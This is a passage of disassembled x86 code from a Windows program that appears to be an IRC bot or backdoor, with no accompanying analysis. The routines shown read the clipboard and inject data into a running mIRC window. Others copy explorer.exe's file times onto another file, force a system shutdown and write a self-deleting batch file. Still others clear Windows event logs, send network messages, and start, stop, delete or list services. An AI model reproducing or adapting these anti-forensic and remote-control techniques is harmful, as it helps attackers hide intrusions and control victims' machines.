		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_423138	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_41525A:				; CODE XREF: sub_415221+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_415266
		cmp	cl, 9
		jnz	short loc_415269


loc_415266:				; CODE XREF: sub_415221+3Ej
		inc	eax
		jmp	short loc_41525A
; ---------------------------------------------------------------------------


loc_415269:				; CODE XREF: sub_415221+43j
					; sub_415221+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_415283
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_415269
		cmp	cl, 21h
		jl	short loc_415269


loc_415283:				; CODE XREF: sub_415221+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4D7B84
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_417E90
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152AB	proc near		; CODE XREF: sub_401AC7+201Ap
		push	esi
		push	0
		call	dword_4C97CC	; OpenClipboard
		test	eax, eax
		jz	short loc_4152E2
		push	1
		call	dword_4C97EC	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4152E2
		push	edi
		push	esi
		call	dword_423140	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_42313C	; GlobalUnlock
		call	dword_4C984C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4152E2:				; CODE XREF: sub_4152AB+Bj
					; sub_4152AB+19j
		xor	eax, eax
		pop	esi
		retn
sub_4152AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152E6	proc near		; CODE XREF: sub_401AC7+69FFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4C9808	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_415362
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_42314C	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_423148	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_417D96
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4C9854	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4C9854	; SendMessageA
		push	ebx
		call	dword_423144	; UnmapViewOfFile
		push	edi
		call	dword_423068	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_415364
; ---------------------------------------------------------------------------


loc_415362:				; CODE XREF: sub_4152E6+16j
		xor	eax, eax


loc_415364:				; CODE XREF: sub_4152E6+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4152E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415368	proc near		; CODE XREF: sub_401221+20Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4C98B4	; SearchPathA
		test	eax, eax
		jz	short loc_415407
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4230EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415407
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_423154	; GetFileTime
		push	ebx
		mov	ebx, dword_423068
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415407
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_423150	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_415407:				; CODE XREF: sub_415368+2Aj
					; sub_415368+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41540C	proc near		; CODE XREF: sub_401AC7+1350p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_4166AF
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4C974C	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_41540C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41542E	proc near		; CODE XREF: sub_401AC7+22ACp
					; sub_413F23+472p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_425090, esi
		push	edi
		jz	short loc_415452
		cmp	dword_4C98C8, esi
		jnz	short loc_415452
		push	esi
		call	sub_401000
		pop	ecx


loc_415452:				; CODE XREF: sub_41542E+13j
					; sub_41542E+1Bj
		call	sub_40A3CC
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4230B0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4155B2
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4230E0	; WriteFile
		push	edi
		call	dword_423068	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43B9B8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_42309C	; GetModuleHandleA
		push	eax
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_423098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41555A
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_423094	; SetFileAttributesA


loc_41555A:				; CODE XREF: sub_41542E+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_417D96
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_423158	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_42306C	; CreateProcessA


loc_4155B2:				; CODE XREF: sub_41542E+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41542E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155B6	proc near		; CODE XREF: sub_401AC7+6807p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4230C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_41564C
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4C9788	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4C9794	; ClearEventLogA
		test	eax, eax
		jz	short loc_41563E
		push	[ebp+arg_10]
		push	offset dword_4396E0


loc_415617:				; CODE XREF: sub_4155B6+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h
		jmp	short loc_415676
; ---------------------------------------------------------------------------


loc_41563E:				; CODE XREF: sub_4155B6+57j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4396B8
		jmp	short loc_415617
; ---------------------------------------------------------------------------


loc_41564C:				; CODE XREF: sub_4155B6+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_439688
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 1Ch


loc_415676:				; CODE XREF: sub_4155B6+86j
		pop	edi
		leave
		retn
sub_4155B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415679	proc near		; CODE XREF: sub_401AC7+4D2Ap

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4230C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_4156CF
		cmp	[ebp+var_8C], 0
		jnz	short loc_4156B8
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4156CF
		leave
		retn
; ---------------------------------------------------------------------------


loc_4156B8:				; CODE XREF: sub_415679+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4156CA
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4156CF


loc_4156CA:				; CODE XREF: sub_415679+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4156CF:				; CODE XREF: sub_415679+27j
					; sub_415679+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4230B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4230BC	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_419B84
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_419B84
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_419B84
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_419B67
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetTickCount
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_42315C	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_415679	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415759	proc near		; CODE XREF: sub_40111D+F7p
					; sub_40D7E2+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4236E8
		call	sub_418C98
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415759	endp


; =============== S U B	R O U T	I N E =======================================



sub_415796	proc near		; CODE XREF: sub_401AC7:loc_4057BAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4157FB
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439708[esi]
		push	edi
		push	eax
		call	sub_41581D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4157DE
		push	edi
		push	off_439704[esi]
		mov	esi, offset dword_4D8448
		push	offset unk_439818
		push	esi
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_415818
; ---------------------------------------------------------------------------


loc_4157DE:				; CODE XREF: sub_415796+2Aj
		push	eax
		call	sub_4158BF
		push	eax
		push	edi
		mov	esi, offset dword_4D8448
		push	offset unk_4397EC
		push	esi
		call	sub_417D96
		add	esp, 14h
		jmp	short loc_415818
; ---------------------------------------------------------------------------


loc_4157FB:				; CODE XREF: sub_415796+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4D8448
		push	off_439700[eax*4]
		push	offset unk_4397C8
		push	esi
		call	sub_417D96
		add	esp, 0Ch


loc_415818:				; CODE XREF: sub_415796+46j
					; sub_415796+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_415796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41581D	proc near		; CODE XREF: sub_415796+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4C97F0	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415844
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4158B9
; ---------------------------------------------------------------------------


loc_415844:				; CODE XREF: sub_41581D+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4C96E8	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_415864
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4158B1
; ---------------------------------------------------------------------------


loc_415864:				; CODE XREF: sub_41581D+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_415897
		cmp	eax, 3
		jz	short loc_415888
		jle	short loc_4158AA
		cmp	eax, 6
		jg	short loc_4158AA
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4C9754	; ControlService
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415888:				; CODE XREF: sub_41581D+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4C96F0	; StartServiceA
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415897:				; CODE XREF: sub_41581D+4Dj
		push	esi
		call	dword_4C9758	; DeleteService


loc_41589E:				; CODE XREF: sub_41581D+69j
					; sub_41581D+78j
		test	eax, eax
		jnz	short loc_4158AA
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_4158AA:				; CODE XREF: sub_41581D+54j
					; sub_41581D+59j ...
		push	esi
		call	dword_4C9704	; CloseServiceHandle


loc_4158B1:				; CODE XREF: sub_41581D+45j
		push	edi
		call	dword_4C9704	; CloseServiceHandle
		pop	esi


loc_4158B9:				; CODE XREF: sub_41581D+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41581D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4158BF	proc near		; CODE XREF: sub_415796+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_415974
		jz	loc_41596D
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_415937
		jz	short loc_41592D
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_415923
		dec	ecx
		dec	ecx
		jz	short loc_415919
		dec	ecx
		jz	short loc_41590F
		sub	ecx, 51h
		jz	short loc_415905
		sub	ecx, 24h
		jnz	loc_4159EA	; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415905:				; CODE XREF: sub_4158BF+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_41590F:				; CODE XREF: sub_4158BF+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415919:				; CODE XREF: sub_4158BF+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415923:				; CODE XREF: sub_4158BF+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_41592D:				; CODE XREF: sub_4158BF+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415937:				; CODE XREF: sub_4158BF+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_415966
		dec	ecx
		jz	short loc_41595F
		dec	ecx
		jz	short loc_415958
		dec	ecx
		jnz	loc_4159EA	; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415958:				; CODE XREF: sub_4158BF+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41595F:				; CODE XREF: sub_4158BF+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415966:				; CODE XREF: sub_4158BF+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41596D:				; CODE XREF: sub_4158BF+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415974:				; CODE XREF: sub_4158BF+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4159EA ; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4159D7
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4159EA ; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_415A2B[ecx]
		jmp	off_415A03[ecx*4] ; switch jump


loc_415998:				; DATA XREF: nsp0:off_415A03o
		push	offset aTheSpecifiedDa ; jumptable 00415991 case 7
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41599F:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheServiceDepe ; jumptable 00415991 case 17
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159A6:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheServiceDe_0 ; jumptable 00415991 case 10
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159AD:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheServiceHasB ; jumptable 00415991 case 0
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159B4:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheSpecified_0 ; jumptable 00415991 case 2
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159BB:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheServiceCoul ; jumptable 00415991 case 11
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159C2:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheServiceHa_0 ; jumptable 00415991 case 14
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159C9:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheRequested_1 ; jumptable 00415991 case 3
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159D0:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: nsp0:off_415A03o
		push	offset aTheServiceHasN ; jumptable 00415991 case 4
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159D7:				; CODE XREF: sub_4158BF+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4159DC:				; CODE XREF: sub_4158BF+41j
					; sub_4158BF+4Bj ...
		push	offset dword_4D7D88
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4159FD
; ---------------------------------------------------------------------------


loc_4159EA:				; CODE XREF: sub_4158BF+36j
					; sub_4158BF+89j ...
		push	eax		; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4D7D88
		call	sub_417D96
		add	esp, 0Ch


loc_4159FD:				; CODE XREF: sub_4158BF+129j
		mov	eax, offset dword_4D7D88
		retn
sub_4158BF	endp

; ---------------------------------------------------------------------------
off_415A03	dd offset loc_4159AD	; DATA XREF: sub_4158BF+D2r
		dd offset loc_4159B4	; jump table for switch	statement
		dd offset loc_4159C9
		dd offset loc_4159D0
		dd offset loc_415998
		dd offset loc_4159A6
		dd offset loc_4159BB
		dd offset loc_4159C2
		dd offset loc_41599F
		dd offset loc_4159EA
byte_415A2B	db	0,     9,     1,     2 ; DATA XREF: sub_4158BF+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A3D	proc near		; CODE XREF: sub_401AC7+3D1Ep

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4C97F0	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_415A75:				; CODE XREF: sub_415A3D+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4C97C0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_415AAF
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_415B63


loc_415AAF:				; CODE XREF: sub_415A3D+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_415B5A
		lea	esi, [ebp+var_188]


loc_415AC0:				; CODE XREF: sub_415A3D+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_415B09
		dec	eax
		jz	short loc_415B02
		dec	eax
		jz	short loc_415AFB
		dec	eax
		jz	short loc_415AF4
		dec	eax
		jz	short loc_415AED
		dec	eax
		jz	short loc_415AE6
		dec	eax
		jz	short loc_415ADF
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415ADF:				; CODE XREF: sub_415A3D+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AE6:				; CODE XREF: sub_415A3D+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AED:				; CODE XREF: sub_415A3D+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AF4:				; CODE XREF: sub_415A3D+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AFB:				; CODE XREF: sub_415A3D+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415B02:				; CODE XREF: sub_415A3D+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415B09:				; CODE XREF: sub_415A3D+87j
		push	offset aStopped	; "    Stopped"


loc_415B0E:				; CODE XREF: sub_415A3D+A0j
					; sub_415A3D+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_417D96
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_415AC0


loc_415B5A:				; CODE XREF: sub_415A3D+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_415A75


loc_415B63:				; CODE XREF: sub_415A3D+6Cj
		push	[ebp+var_C]
		call	dword_4C9704	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_415A3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B7A	proc near		; CODE XREF: sub_401AC7:loc_4058A1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_415C13
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_415BA3
		dec	eax
		jnz	short loc_415BF3
		push	edi
		push	0
		call	sub_415CE5
		pop	ecx
		pop	ecx
		jmp	short loc_415BEF
; ---------------------------------------------------------------------------


loc_415BA3:				; CODE XREF: sub_415B7A+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_415BE1
		push	24h
		push	edi
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415BE1
		push	57h
		pop	eax


loc_415BBA:				; CODE XREF: sub_415B7A+77j
		push	eax
		call	sub_4164BD
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8044
		push	off_439700[eax*4]
		push	offset unk_439DAC
		push	esi
		call	sub_417D96
		add	esp, 18h
		jmp	short loc_415C33
; ---------------------------------------------------------------------------


loc_415BE1:				; CODE XREF: sub_415B7A+2Dj
